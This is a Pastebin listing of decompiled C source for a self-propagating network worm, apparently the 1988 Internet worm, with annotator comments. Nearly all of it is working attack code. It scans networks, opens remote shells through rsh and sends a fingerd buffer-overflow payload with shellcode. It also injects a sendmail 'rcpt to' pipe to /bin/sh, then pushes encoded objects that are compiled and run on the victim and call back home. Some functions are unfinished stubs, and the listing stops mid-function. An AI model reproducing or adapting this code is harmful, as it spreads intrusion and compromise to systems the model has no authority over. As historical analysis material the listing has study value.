Advertisement
FlyFar

CC-SH Worm Source Code

Feb 26th, 2023 (edited)
676
1
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 31.77 KB | Cybersecurity | 1 0
  1. #include "worm.h"
  2. #include <stdio.h>
  3. #include <strings.h>
  4. #include <signal.h>
  5. #include <errno.h>
  6. #include <ctype.h>
  7. #include <sys/types.h>
  8. #include <sys/time.h>
  9. #include <sys/wait.h>
  10. #include <sys/file.h>
  11. #include <sys/stat.h>
  12. #include <sys/socket.h>
  13. #include <netinet/in.h>
  14. extern struct hst *h_addr2host(), *h_name2host();
  15. extern int  justreturn();
  16. extern int errno;
  17. extern char *malloc();
  18. int alarmed = 0;
  19. int ngateways, *gateways;
  20. struct hst *me, *hosts;
  21. int nifs;
  22. struct ifses ifs[30]; /*  Arbitrary number, fix */
  23. /* Clean hosts not contacted from the host list. */
  24. h_clean() /* 0x31f0 */
  25. {
  26.     struct hst *newhosts, *host, *next;
  27.     newhosts = NULL;
  28.     for (host = hosts; host != NULL; host = next) {
  29.  next = host->next;
  30.  host->flag &= -7;
  31.  if (host == me || host->flag != 0) {
  32.      host->next = newhosts;
  33.      newhosts = host;
  34.  } else
  35.      free(host);
  36.     }
  37.     hosts = newhosts;
  38. }
  39. /* Look for a gateway we can contact. */
  40. hg() /* 0x3270, check again */
  41. {
  42.     struct hst *host;
  43.     int i;
  44.     rt_init();
  45.     for (i = 0; i < ngateways; i++) { /* 24, 92 */
  46.  host = h_addr2host(gateways[i], 1);
  47.  if (try_rsh_and_mail(host))
  48.      return 1;
  49.     }
  50.     return 0;
  51. }
  52. ha() /* 0x32d4, unchecked */
  53. {
  54.     struct hst *host;
  55.     int i, j, k;
  56.     int l416[100];
  57.     int l420;
  58.     if (ngateways < 1)
  59.  rt_init();
  60.     j = 0;
  61.     for (i = 0; i < ngateways; i++) { /* 40, 172 */
  62.  host = h_addr2host(gateways[i], 1);
  63.  for (k = 0; k < 6; k++) { /* 86, 164 */
  64.      if (host->o48[k] == 0)
  65.  continue; /* 158 */
  66.      if (try_telnet_p(host->o48[k]) == 0)
  67.  continue;
  68.      l416[j] = host->o48[k];
  69.      j++;
  70.  }
  71.     }
  72.     permute(l416, j, sizeof(l416[0]));
  73.     for (i = 0; i < j; i++) { /* 198, 260 */
  74.  if (hi_84(l416[i] & netmaskfor(l416[i])))
  75.      return 1;
  76.     }
  77.     return 0;
  78. }
  79. hl() /* 0x33e6 */
  80. {
  81.     int i;
  82.     for (i = 0; i < 6; i++) { /* 18, 106 */
  83.  if (me->o48[i] == 0)
  84.      break;
  85.  if (hi_84(me->o48[i] & netmaskfor(me->o48[i])) != 0)
  86.      return 1;
  87.     }
  88.     return 0;
  89. }
  90. hi() /* 0x3458 */
  91. {
  92.     struct hst *host;
  93.     for (host = hosts; host; host = host->next )
  94.  if ((host->flag & 0x08 != 0) && (try_rsh_and_mail(host) != 0))
  95.      return 1;
  96.     return 0;
  97. }
  98. hi_84(arg1) /* 0x34ac */
  99. {
  100.     int l4;
  101.     struct hst *host;
  102.     int l12, l16, l20, i, l28, adr_index, l36, l40, l44;
  103.     int netaddrs[2048];
  104.     l12 = netmaskfor(arg1);
  105.     l16 = ~l12;
  106.     for (i = 0; i < nifs; i++) { /* 128,206 */
  107.  if (arg1 == (ifs[i].if_l24 & ifs[i].if_l16))
  108.      return 0; /* 624 */
  109.     }
  110.     adr_index = 0;
  111.     if (l16 == 0x0000ffff) { /* 330 */
  112.  l44 = 4;
  113.  for (l40 = 1; l40 < 255; l40++) /* 236,306 */
  114.      for (l20 = 1; l20 <= 8; l20++) /* 254,300 */
  115.  netaddrs[adr_index++] = arg1 | (l20 << 16) | l40;
  116.  permute(netaddrs, adr_index, sizeof(netaddrs[0]));
  117.     } else { /* 432 */
  118.  l44 = 4;
  119.  for (l20 = 1; l20 < 255; l20++)
  120.      netaddrs[adr_index++] = (arg1 | l20);
  121.  permute(netaddrs, 3*sizeof(netaddrs[0]), sizeof(netaddrs[0]));
  122.  permute(netaddrs, adr_index - 6, 4);
  123.     }
  124.     if (adr_index > 20)
  125.  adr_index = 20;
  126.     for (l36 = 0; l36 < adr_index; l36++) { /* 454,620 */
  127.  l4 = netaddrs[l36];
  128.  host = h_addr2host(l4, 0);
  129.  if (host == NULL || (host->flag & 0x02) == 0)
  130.      continue;
  131.  if (host == NULL || (host->flag & 0x04) == 0 ||
  132.      command_port_p(l4, l44) == 0)
  133.      continue;
  134.  if (host == NULL)
  135.      host = h_addr2host(l4, 1);
  136.  if (try_rsh_and_mail(host))
  137.      return 1;
  138.     }
  139.     return 0;
  140. }
  141. /* Only called in the function above */
  142. static command_port_p(addr, time) /* x36d2, <hi+634> */
  143.      u_long addr;
  144.      int time;
  145. {
  146.     int s, connection; /* 28 */
  147.     struct sockaddr_in sin; /* 16 bytes */
  148.     int (*save_sighand)();
  149.     s = socket(AF_INET, SOCK_STREAM, 0);
  150.     if (s < 0)
  151.  return 0;
  152.     bzero(&sin, sizeof(sin));
  153.     sin.sin_family = AF_INET;
  154.     sin.sin_addr.s_addr = addr;
  155.     sin.sin_port = IPPORT_CMDSERVER; /* Oh no, not the command serve
  156. r... */
  157.     save_sighand = signal(SIGALRM, justreturn); /* Wakeup if it
  158.  fails */
  159.     /* Set up a timeout to break from connect if it fails */
  160.     if (time < 1)
  161.  time = 1;
  162.     alarm(time);
  163.     connection = connect(s, &sin, sizeof(sin));
  164.     alarm(0);
  165.     close(s);
  166.     if (connection < 0 && errno == ENETUNREACH)
  167.  error("Network unreachable");
  168.     return connection != -1;
  169. }
  170. static try_telnet_p(addr) /* x37b2 <hi+858>, checked */
  171.      u_long addr;
  172. {
  173.     int s, connection; /* 28 */
  174.     struct sockaddr_in sin; /* 16 bytes */
  175.     int (*save_sighand)();
  176.     s = socket(AF_INET, SOCK_STREAM, 0);
  177.     if (s < 0)
  178.  return 0;
  179.     bzero(&sin, sizeof(sin));
  180.     sin.sin_family = AF_INET;
  181.     sin.sin_addr.s_addr = addr;
  182.     sin.sin_port = IPPORT_TELNET; /* This time try telnet... */
  183.     /* Set up a 5 second timeout, break from connect if it fails */
  184.     save_sighand = signal(SIGALRM, justreturn);
  185.     alarm(5);
  186.     connection = connect(s, &sin, sizeof(sin));
  187.     if (connection < 0  &&  errno == ECONNREFUSED) /* Telnet connection refuse
  188. d */
  189.  connection = 0;
  190.     alarm(0); /* Turn off timeout */
  191.     close(s);
  192.     return connection != -1;
  193. }
  194. /* Used in hg(), hi(), and hi_84(). */
  195. static try_rsh_and_mail(host) /* x3884, <hi+1068> */
  196.      struct hst *host;
  197. {
  198.     int fd1, fd2, result;
  199.     if (host == me)
  200.  return 0; /* 1476 */
  201.     if (host->flag & 0x02)
  202.  return 0;
  203.     if (host->flag & 0x04)
  204.  return 0;
  205.     if (host->o48[0] == 0 || host->hostname == NULL)
  206.  getaddrs(host);
  207.     if (host->o48[0] == 0) {
  208.  host->flag |= 0x04;
  209.  return 0;
  210.     }
  211.     other_sleep(1);
  212.     if (host->hostname  && /* 1352 */
  213.  fork_rsh(host->hostname, &fd1, &fd2,
  214.        XS("exec /bin/sh"))) { /* <env+188> */
  215.  result = talk_to_sh(host, fd1, fd2);
  216.  close(fd1);
  217.  close(fd2);
  218.  /* Prevent child from hanging around in the <exiting> state */
  219.  wait3((union wait *)NULL, WNOHANG, (struct rusage *)NULL);
  220.  if (result != 0)
  221.      return result;
  222.     }
  223.     if (try_finger(host, &fd1, &fd2)) { /* 1440 */
  224.  result = talk_to_sh(host, fd1, fd2);
  225.  close(fd1);
  226.  close(fd2);
  227.  if (result != 0)
  228.      return result;
  229.     }
  230.     if (try_mail(host))
  231.  return 1;
  232.     host->flag |= 4;
  233.     return 0;
  234. }
  235. /* Check a2in() as it is updated */
  236. /* Used in twice in try_rsh_and_mail(), once in hu1(). */
  237. static talk_to_sh(host, fdrd, fdwr) /* x3a20, Checked, changed <hi+
  238. >*/
  239.      struct hst *host;
  240.      int fdrd, fdwr;
  241. {
  242.     object *objectptr;
  243.     char send_buf[512]; /* l516 */
  244.     char print_buf[52]; /* l568 */
  245.     int l572, l576, l580, l584, l588,  l592;
  246.     objectptr = getobjectbyname(XS("l1.c")); /* env 200c9 */
  247.     if (objectptr == NULL)
  248.  return 0; /* <hi+2128> */
  249.     if (makemagic(host, &l592, &l580, &l584, &l588) == 0)
  250.  return 0;
  251.     send_text(fdwr, XS("PATH=/bin:/usr/bin:/usr/ucb\n"));
  252.     send_text(fdwr, XS("cd /usr/tmp\n"));
  253.     l576 = random() % 0x00FFFFFF;
  254.     sprintf(print_buf, XS("x%d.c"), l576);
  255.     /* The 'sed' script just puts the EOF on the transmitted program. */
  256.     sprintf(send_buf, XS("echo gorch49;sed \'/int zz;/q\' > %s;echo gorch50\n"
  257. ),
  258.      print_buf);
  259.     send_text(fdwr, send_buf);
  260.     wait_for(fdrd, XS("gorch49"), 10);
  261.     xorbuf(objectptr->buf, objectptr->size);
  262.     l572 = write(fdwr, objectptr->buf, objectptr->size);
  263.     xorbuf(objectptr->buf, objectptr->size);
  264.     if (l572 != objectptr->size) {
  265.  close(l588);
  266.  return 0; /* to <hi+2128> */
  267.     }
  268.     send_text(fdwr, XS("int zz;\n\n"));
  269.     wait_for(fdrd, XS("gorch50"), 30);
  270. #define COMPILE  "cc -o x%d x%d.c;./x%d %s %d %d;rm -f x%d x%d.c;echo DONE\n"
  271.     sprintf(send_buf, XS(COMPILE), l576, l576, l576,
  272.      inet_ntoa(a2in(l592)), l580, l584, l576, l576);
  273.     send_text(fdwr, send_buf);
  274.     if (wait_for(fdrd, XS("DONE"), 100) == 0) {
  275.  close(l588);
  276.  return 0; /* <hi+2128> */
  277.     }
  278.     return waithit(host, l592, l580, l584, l588);
  279. }
  280. makemagic(arg8, arg12, arg16, arg20, arg24) /* checked */
  281.      struct hst *arg8;
  282.      int *arg12, *arg16, *arg20, *arg24;
  283. {
  284.     int s, i, namelen;
  285.     struct sockaddr_in sin0, sin1; /* 16 bytes */
  286.     *arg20 = random() & 0x00ffffff;
  287.     bzero(&sin1, sizeof(sin1));
  288.     sin1.sin_addr.s_addr = me->l12;
  289.     for (i= 0; i < 6; i++) { /* 64, 274 */
  290.  if (arg8->o48[i] == NULL)
  291.      continue; /* 266 */
  292.  s = socket(AF_INET, SOCK_STREAM, 0);
  293.  if (s < 0)
  294.      return 0; /* 470 */
  295.  bzero(&sin0, sizeof(sin0));
  296.  sin0.sin_family = AF_INET;
  297.  sin0.sin_port = IPPORT_TELNET;
  298.  sin0.sin_addr.s_addr = arg8->o48[i];
  299.  errno = 0;
  300.  if (connect(s, &sin0, sizeof(sin0)) != -1) {
  301.      namelen = sizeof(sin1);
  302.      getsockname(s, &sin1, &namelen);
  303.      close(s);
  304.      break;
  305.  }
  306.  close(s);
  307.     }
  308.     *arg12 = sin1.sin_addr.s_addr;
  309.     for (i = 0; i < 1024; i++) { /* 286,466 */
  310.  s = socket(AF_INET, SOCK_STREAM, 0);
  311.  if (s < 0)
  312.      return 0; /* 470 */
  313.  bzero(&sin0, sizeof(sin0));
  314.  sin0.sin_family = AF_INET;
  315.  sin0.sin_port = random() % 0xffff;
  316.  if (bind(s, &sin0, sizeof(sin0)) != -1) {
  317.      listen(s, 10);
  318.      *arg16 = sin0.sin_port;
  319.      *arg24 = s;
  320.      return 1;
  321.  }
  322.  close(s);
  323.     }
  324.     return 0;
  325. }
  326. /* Check for somebody connecting.  If there is a connection and he has the rig
  327. ht
  328.  * key, send out the
  329.  * a complete set of encoded objects to it. */
  330. waithit(host, arg1, arg2, key, arg4) /* 0x3e86 */
  331.      struct hst *host;
  332. {
  333.     int (*save_sighand)();
  334.     int l8, sin_size, l16, i, l24, l28;
  335.     struct sockaddr_in sin; /* 44 */
  336.     object *obj;
  337.     char files[20][128]; /* File list, 2608 */
  338.     char *l2612;
  339.     char strbuf[512];
  340.     save_sighand = signal(SIGPIPE, justreturn);
  341.     sin_size = sizeof(sin);
  342.     alarm(2*60);
  343.     l8 = accept(arg4, &sin, &sin_size);
  344.     alarm(0);
  345.     if (l8 < 0)
  346.  goto quit; /* 1144 */
  347.     if (xread(l8, &l16, sizeof(l16), 10) != 4)
  348.  goto quit;
  349.     l16 = ntohl(l16);
  350.     if (key != l16)
  351.  goto quit;
  352.     for (i = 0; i < nobjects; i++) { /* 164,432 */
  353.  obj = &objects[i];
  354.  l16 = htonl(obj->size);
  355.  write(l8, &l16, sizeof(l16));
  356.  sprintf(files[i], XS("x%d,%s"),
  357.  (random()&0x00ffffff), obj->name);
  358.  write(l8, files[i], sizeof(files[0]));
  359.  xorbuf(obj->buf, obj->size);
  360.  l24 = write(l8, obj->buf, obj->size);
  361.  xorbuf(obj->buf, obj->size);
  362.  if (l24 != obj->size)
  363.      goto quit;
  364.     }
  365.     /* Get rid of my client's key, and tell him the list has ended. */
  366.     l16 = -1;
  367.     if (write(l8, &l16, sizeof(l16)) != 4)
  368.  goto quit;
  369.     /* Don't run up the load average too much... */
  370.     sleep(4);
  371.     if (test_connection(l8, l8, 30) == 0)
  372.  goto quit;
  373.     send_text(l8, XS("PATH=/bin:/usr/bin:/usr/ucb\n"));
  374.     send_text(l8, XS("rm -f sh\n"));
  375.     sprintf(strbuf, XS("if [ -f sh ]\nthen\nP=x%d\nelse\nP=sh\nfi\n"),
  376.      random()&0x00ffffff);
  377.     send_text(l8, strbuf);
  378.     for (i = 0; i < nobjects; i++) { /* 636,1040 */
  379.  if ((l2612 = index(files[i], '.')) == NULL ||
  380.      l2612[1] != 'o')
  381.      continue;
  382.  sprintf(strbuf, XS("cc -o $P %s\n"), files[i]);
  383.  send_text(l8, strbuf);
  384.  if (test_connection(l8, l8, 30) == 0)
  385.      goto quit; /* 1144 */
  386.  sprintf(strbuf, XS("./$P -p $$ "));
  387.  for(l28 = 0; l28 < nobjects; l28++) { /* 820,892 */
  388.      strcat(strbuf, files[l28]);
  389.      strcat(strbuf, XS(" "));
  390.  }
  391.  strcat(strbuf, XS("\n"));
  392.  send_text(l8, strbuf);
  393.  if (test_connection(l8, l8, 10) == 0) {
  394.      close(l8);
  395.      close(arg4);
  396.      host->flag |= 2;
  397.      return 1; /* 1172 */
  398.  }
  399.  send_text(l8, XS("rm -f $P\n"));
  400.     }
  401.     for (i = 0; i < nobjects; i++) { /* 1044,1122 */
  402.  sprintf(strbuf, XS("rm -f %s $P\n"), files[i]);
  403.  send_text(l8, strbuf);
  404.     }
  405.     test_connection(l8, l8, 5);
  406.  quit:
  407.     close(l8);
  408.     close(l24);
  409.     return 0;
  410. }
  411. /* Only called from within mail */
  412. static compile_slave(host, s, arg16, arg20, arg24) /* x431e, <waithit+1176> */
  413.      struct hst host;
  414. {    
  415.     object *obj;
  416.     char buf[512]; /* 516 */
  417.     char cfile[56]; /* 568 */
  418.     int wr_len, key; /* might be same */
  419.     obj = getobjectbyname(XS("l1.c"));
  420.     if (obj == NULL)
  421.  return 0; /* 1590 */
  422.     send_text(s, XS("cd /usr/tmp\n"));
  423.     key = (random() % 0x00ffffff);
  424.     sprintf(cfile, XS("x%d.c"), key);
  425.     sprintf(buf, XS("cat > %s <<\'EOF\'\n"), cfile);
  426.     send_text(s, buf);
  427.     xorbuf(obj->buf, obj->size);
  428.     wr_len = write(s, obj->buf, obj->size);
  429.     xorbuf(obj->buf, obj->size);
  430.     if (wr_len != obj->size)
  431.  return 0;
  432.     send_text(s, XS("EOF\n"));
  433.     sprintf(buf, XS("cc -o x%d x%d.c;x%d %s %d %d;rm -f x%d x%d.c\n"),
  434.      key, key, key,
  435.      inet_ntoa(a2in(arg16, arg20, arg24, key, key)->baz));
  436.     return send_text(s, buf);
  437. }
  438. static send_text(fd, str) /* 0x44c0, <waithit+1594> */
  439.      char *str;
  440. {
  441.     write(fd, str, strlen(str));
  442. }
  443. /* Used in try_rsh_and_mail(). */
  444. static fork_rsh(host, fdp1, fdp2, str) /* 0x44f4, <waithit+1646> */
  445.      char *host;
  446.      int *fdp1, *fdp2;
  447.      char *str;
  448. {
  449.     int child; /* 4 */
  450.     int fildes[2]; /* 12 */
  451.     int fildes1[2]; /* 20 */
  452.     int fd;
  453.     if (pipe(fildes) < 0)
  454.  return 0;
  455.     if (pipe(fildes1) < 0) {
  456.  close(fildes[0]);
  457.  close(fildes[1]);
  458.  return 0;
  459.     }
  460.     child = fork();
  461.     if (child < 0) { /* 1798 */
  462.  close(fildes[0]);
  463.  close(fildes[1]);
  464.  close(fildes1[0]);
  465.  close(fildes1[1]);
  466.  return 0;
  467.     }
  468.     if (child == 0) { /* 2118 */
  469.  for (fd = 0; fd < 32; fd++)
  470.      if (fd != fildes[0] &&
  471.  fd != fildes1[1] &&
  472.  fd != 2)
  473.  close(fd);
  474.  dup2(fildes[0], 0);
  475.  dup2(fildes[1], 1);
  476.  if (fildes[0] > 2)
  477.      close(fildes[0]);
  478.  if (fildes1[1] > 2)
  479.      close(fildes1[1]);
  480.  /* 'execl()' does not return if it suceeds. */
  481.  execl(XS("/usr/ucb/rsh"), XS("rsh"), host, str, 0);
  482.  execl(XS("/usr/bin/rsh"), XS("rsh"), host, str, 0);
  483.  execl(XS("/bin/rsh"), XS("rsh"), host, str, 0);
  484.  exit(1);
  485.     }
  486.     close(fildes[0]);
  487.     close(fildes1[1]);
  488.     *fdp1 = fildes1[0];
  489.     *fdp2 = fildes[1];
  490.     if (test_connection(*fdp1, *fdp2, 30))
  491.  return 1; /* Sucess!!! */
  492.     close(*fdp1);
  493.     close(*fdp2);
  494.     kill(child, 9);
  495.     /* Give the child a chance to die from the signal. */
  496.     sleep(1);
  497.     wait3(0, WNOHANG, 0);
  498.     return 0;
  499. }
  500. static test_connection(rdfd, wrfd, time) /* x476c,<waith
  501. it+2278> */
  502.      int rdfd, wrfd, time;
  503. {
  504.     char combuf[100], numbuf[100];
  505.     sprintf(numbuf, XS("%d"), random() & 0x00ffffff);
  506.     sprintf(combuf, XS("\n/bin/echo %s\n"), numbuf);
  507.     send_text(wrfd, combuf);
  508.     return wait_for(rdfd, numbuf, time);
  509. }
  510. static wait_for(fd, str, time) /* <waithit+2412> */
  511.      int fd, time;
  512.      char *str;
  513. {
  514.     char buf[512];
  515.     int i, length;
  516.     length = strlen(str);
  517.     while (x488e(fd, buf, sizeof(buf), time) == 0) { /* 2532 */
  518.  for(i = 0; buf[i]; i++) {
  519.      if (strncmp(str, &buf[i], length) == 0)
  520.  return 1;
  521.  }
  522.     }
  523.     return 0;
  524. }
  525. /* Installed as a signal handler */
  526. justreturn(sig, code, scp) /* 0x4872 */
  527.      int sig, code;
  528.      struct sigcontext *scp;
  529. {
  530.     alarmed = 1;
  531. }
  532. static x488e(fd, buf, num_chars, maxtime)
  533.      int fd, num_chars, maxtime;
  534.      char *buf;
  535. {
  536.     int i, l8, readfds;
  537.     struct timeval timeout;
  538.     for (i = 0; i < num_chars; i++) { /* 46,192 */
  539.  readfds = 1 << fd;
  540.  timeout.tv_usec = maxtime;
  541.  timeout.tv_sec = 0;
  542.  if (select(fd + 1, &readfds, 0, 0, &timeout) <= 0)
  543.      return 0;
  544.  if (readfds == 0)
  545.      return 0;
  546.  if (read(fd, &buf[i], 1) != 1)
  547.      return 0;
  548.  if (buf[i] == '\n')
  549.      break;
  550.     }
  551.     buf[i] = '\0';
  552.     if (i > 0 && l8 > 0)
  553.  return 1;
  554.     return 0;
  555. }
  556. /* This doesn't appear to be used anywhere??? */
  557. static char *movstr(arg0, arg1) /* 0x4958,<just_return+
  558. 230> */
  559.      char *arg0, *arg1;
  560. {
  561.     arg1[0] = '\0';
  562.     if (arg0 == 0)
  563.  return 0;
  564.     while( ! isspace(*arg0))
  565.  arg0++;
  566.     if (*arg0 == '\0')
  567.         return 0;
  568.     while(*arg0) {
  569.  if (isspace(*arg0)) break;
  570.  *arg1++ = *arg0++;
  571.     }
  572.     *arg1 = '\0';
  573.     return arg0;
  574. }
  575. /*
  576. From Gene Spafford <spaf@perdue.edu>
  577. What this routine does is actually kind of clever.  Keep in
  578. mind that on a Vax the stack grows downwards.
  579. fingerd gets its input via a call to gets, with an argument
  580. of an automatic variable on the stack.  Since gets doesn't
  581. have a bound on its input, it is possible to overflow the
  582. buffer without an error message.  Normally, when that happens
  583. you trash the return stack frame.  However, if you know
  584. where everything is on the stack (as is the case with a
  585. distributed binary like BSD), you can put selected values
  586. back in the return stack frame.
  587. This is what that routine does.  It overwrites the return frame
  588. to point into the buffer that just got trashed.  The new code
  589. does a chmk (change-mode-to-kernel) with the service call for
  590. execl and an argument of "/bin/sh".  Thus, fingerd gets a
  591. service request, forks a child process, tries to get a user name
  592. and has its buffer trashed, does a return, exec's a shell,
  593. and then proceeds to take input off the socket -- from the
  594. worm on the other machine.  Since many sites never bother to
  595. fix fingerd to run as something other than root.....
  596. Luckily, the code doesn't work on Suns -- it just causes it
  597. to dump core.
  598. --spaf
  599. */    
  600. /* This routine exploits a fixed 512 byte input buffer in a VAX running
  601.  * the BSD 4.3 fingerd binary.  It send 536 bytes (plus a newline) to
  602.  * overwrite six extra words in the stack frame, including the return
  603.  * PC, to point into the middle of the string sent over.  The instructions
  604.  * in the string do the direct system call version of execve("/bin/sh"). */
  605. static try_finger(host, fd1, fd2) /* 0x49ec,<just_return+378 */
  606.      struct hst *host;
  607.      int *fd1, *fd2;
  608. {
  609.     int i, j, l12, l16, s;
  610.     struct sockaddr_in sin; /* 36 */
  611.     char unused[492];
  612.     int l552, l556, l560, l564, l568;
  613.     char buf[536]; /* 1084 */
  614.     int (*save_sighand)(); /* 1088 */
  615.     save_sighand = signal(SIGALRM, justreturn);
  616.     for (i = 0; i < 6; i++) { /* 416,608 */
  617.  if (host->o48[i] == 0)
  618.      continue; /* 600 */
  619.  s = socket(AF_INET, SOCK_STREAM, 0);
  620.  if (s < 0)
  621.      continue;
  622.  bzero(&sin, sizeof(sin));
  623.  sin.sin_family = AF_INET;
  624.  sin.sin_addr.s_addr = host->o48[i];
  625.  sin.sin_port = IPPORT_FINGER;
  626.  alarm(10);
  627.  if (connect(s, &sin, sizeof(sin)) < 0) {
  628.      alarm(0);
  629.      close(s);
  630.      continue;
  631.  }
  632.  alarm(0);
  633.  break;
  634.     }
  635.     if (i >= 6)
  636.  return 0; /* 978 */
  637.     for(i = 0; i < 536; i++) /* 628,654 */
  638.  buf[i] = '\0';
  639.     for(i = 0; i < 400; i++)
  640.  buf[i] = 1;
  641.     for(j = 0; j < 28; j++)
  642.  buf[i+j] = "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"[j];
  643.  /* constant string x200a0 */
  644.     /* 0xdd8f2f73,0x6800dd8f,0x2f62696e,0xd05e5add,0x00dd00dd,0x5add03d0,0x5e5cbc3b */
  645.     /* "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"... */
  646.     l556 = 0x7fffe9fc; /* Rewrite part of the stack frame */
  647.     l560 = 0x7fffe8a8;
  648.     l564 = 0x7fffe8bc;
  649.     l568 = 0x28000000;
  650.     l552 = 0x0001c020;
  651. #ifdef sun
  652.     l556 = byte_swap(l556); /* Reverse the word order for the */
  653.     l560 = byte_swap(l560); /* VAX (only Suns have to do this) */
  654.     l564 = byte_swap(l564);
  655.     l568 = byte_swap(l568);
  656.     l552 = byte_swap(l552);
  657. #endif sun
  658.     write(s, buf, sizeof(buf)); /* sizeof == 536 */
  659.     write(s, XS("\n"), 1);
  660.     sleep(5);
  661.     if (test_connection(s, s, 10)) {
  662.  *fd1 = s;
  663.  *fd2 = s;
  664.  return 1;
  665.     }
  666.     close(s);
  667.     return 0;
  668. }
  669. static byte_swap(arg) /* 0x4c48,<just_return+982 */
  670.      int arg;
  671. {
  672.     int i, j;
  673.     i = 0;
  674.     j = 0;
  675.     while (j < 4) {
  676.  i = i << 8;
  677.  i |= (arg & 0xff);
  678.  arg = arg >> 8;
  679.  j++;
  680.     }
  681.     return i;
  682. }
  683. permute(ptr, num, size) /* 0x4c9a */
  684.      char *ptr;
  685.      int num, size;
  686. {
  687.     int i, newloc;
  688.     char buf[512];
  689.     for (i = 0; i < num*size; i+=size) { /* 18,158 */
  690.  newloc = size * (random() % num);
  691.  bcopy(ptr+i, buf, size);
  692.  bcopy(ptr+newloc, ptr+i, size);
  693.  bcopy(buf, ptr+newloc, size);
  694.     }
  695. }
  696. /* Called from try_rsh_and_mail() */
  697. static try_mail(host) /* x4d3c <permute+162>*/
  698.      struct hst *host;
  699. {
  700.     int i, l8, l12, l16, s;
  701.     struct sockaddr_in sin; /* 16 bytes */
  702.     char l548[512];
  703.     int (*old_handler)();
  704.     struct sockaddr saddr; /* Not right */
  705.     int fd_tmp; /* ???  part of saddr *
  706. /
  707.     if (makemagic(host, &saddr) == 0)
  708.  return 0; /* <permute+1054> */
  709.     old_handler = signal(SIGALRM, justreturn);
  710.     for( i = 0; i < 6; i++) { /* to 430 */
  711.  if (host->o48[i] == NULL)
  712.      continue; /* to 422 */
  713.  s = socket(AF_INET, SOCK_STREAM, 0);
  714.  if (s < 0)
  715.      continue; /* to 422 */
  716.  bzero(&sin, sizeof(sin)); /* 16 */
  717.  sin.sin_family = AF_INET;
  718.  sin.sin_addr.s_addr = host->o48[i];
  719.  sin.sin_port = IPPORT_SMTP;
  720.  alarm(10);
  721.  if (connect(s, &sin, sizeof(sin)) < 0) {
  722.      alarm(0);
  723.      close(s);
  724.      continue; /* to 422 */
  725.  }
  726.  alarm(0);
  727.  break;
  728.     }
  729.     if (i < 6)
  730.  return 0; /* 1054 */
  731.     if (x50bc( s, l548) != 0 || l548[0] != '2')
  732.  goto bad;
  733.     send_text(s, XS("debug")); /* "debug" */
  734.     if (x50bc( s, l548) != 0 || l548[0] != '2')
  735.  goto bad;
  736. #define MAIL_FROM "mail from:</dev/null>\n"
  737. #define MAIL_RCPT "rcpt to:<\"| sed \'1,/^$/d\' | /bin/sh ; exit 0\">\n"
  738.     send_text(s, XS(MAIL_FROM));
  739.     if (x50bc( s, l548) != 0 || l548[0] != '2')
  740.  goto bad;
  741.     i = (random() & 0x00FFFFFF);
  742.     sprintf(l548, XS(MAIL_RCPT), i, i);
  743.     send_text(s, l548);
  744.     if (x50bc( s, l548) != 0 || l548[0] != '2')
  745.  goto bad;
  746.     send_text(s, XS("data\n"));
  747.     if (x50bc( s, l548) == 0 || l548[0] != '3')
  748.  goto bad;
  749.     send_text(s, XS("data\n"));
  750.     compile_slave(host, s, saddr);
  751.     send_text(s, XS("\n.\n"));
  752.     if (x50bc( s, l548) == 0 || l548[0] != '2') {
  753.  close(fd_tmp); /* This isn't set yet!!! */
  754.  goto bad;
  755.     }
  756.     send_text(s, XS("quit\n"));
  757.     if (x50bc( s, l548) == 0 || l548[0] != '2') {
  758.  close(fd_tmp); /* This isn't set yet!!! */
  759.  goto bad;
  760.     }
  761.     close(s);
  762.     return waithit(host, saddr);
  763.  bad:
  764.     send_text(s, XS("quit\n"));
  765.     x50bc(s, l548);
  766.     close(s);
  767.     return 0;
  768. }
  769. /* Used only in try_mail() above.  This fills buffer with a line of the respon
  770. se */
  771. static x50bc(s, buffer) /* x50bc, <permute+1058
  772. > */
  773.      int s; /* socket */
  774.      char *buffer;
  775. {
  776.     /* Fill in exact code later.  It's pretty boring. */
  777. }
  778. /* I call this "huristic 1". It tries to breakin using the remote execution
  779.  * service.  It is called from a subroutine of cracksome_1 with information fr
  780. om
  781.  * a user's .forword file.  The two name are the original username and the one
  782.  * in the .forward file.
  783.  */
  784. hu1(alt_username, host, username2) /* x5178 */
  785.      char *alt_username, *username2;
  786.      struct hst *host;
  787. {
  788.     char username[256];
  789.     char buffer2[512];
  790.     char local[8];
  791.     int result, i, fd_for_sh; /* 780, 784, 788 */
  792.     if (host == me)
  793.  return 0; /* 530 */
  794.     if (host->flag & HST_HOSTTWO) /* Already tried ??? */
  795.  return 0;
  796.     if (host->o48[0] || host->hostname == NULL)
  797.  getaddrs(host);
  798.     if (host->o48[0] == 0) {
  799.  host->flag |= HST_HOSTFOUR;
  800.  return 0;
  801.     }
  802.     strncpy(username, username2, sizeof(username)-1);
  803.     username[sizeof(username)-1] = '\0';
  804.     if (username[0] == '\0')
  805.  strcpy(username, alt_username);
  806.     for (i = 0; username[i]; i++)
  807.  if (ispunct(username[i]) || username[i] < ' ')
  808.      return 0;
  809.     other_sleep(1);
  810.     fd_for_sh = x538e(host, username, &alt_username[30]);
  811.     if (fd_for_sh >= 0) {
  812.  result = talk_to_sh(host, fd_for_sh, fd_for_sh);
  813.  close(fd_for_sh);
  814.  return result;
  815.     }
  816.     if (fd_for_sh == -2)
  817.  return 0;
  818.     fd_for_sh = x538e(me, alt_username, &alt_username[30]);
  819.     if (fd_for_sh >= 0) {
  820.  sprintf(buffer2, XS("exec /usr/ucb/rsh %s -l %s \'exec /bin/sh\'\n"),
  821.  host->hostname, username);
  822.  send_text(fd_for_sh, buffer2);
  823.  sleep(10);
  824.  result = 0;
  825.  if (test_connection(fd_for_sh, fd_for_sh, 25)) /* 508 */
  826.      result = talk_to_sh(host, fd_for_sh, fd_for_sh);
  827.  close(fd_for_sh);
  828.  return result;
  829.     }
  830.     return 0;
  831. }
  832. /* Used in hu1.  Returns a file descriptor. */
  833. /* It goes through the six connections in host trying to connect to the
  834.  * remote execution server on each one.
  835.  */
  836. static int x538e(host, name1, name2)
  837.      struct hst *host;
  838.      char *name1, *name2;
  839. {
  840.     int s, i;
  841.     struct sockaddr_in sin; /* 16 bytes */
  842.     int l6, l7;
  843.     char in_buf[512];
  844.     for (i = 0; i < 6; i++) { /* 552,762 */
  845.  if (host->o48[i] == 0)
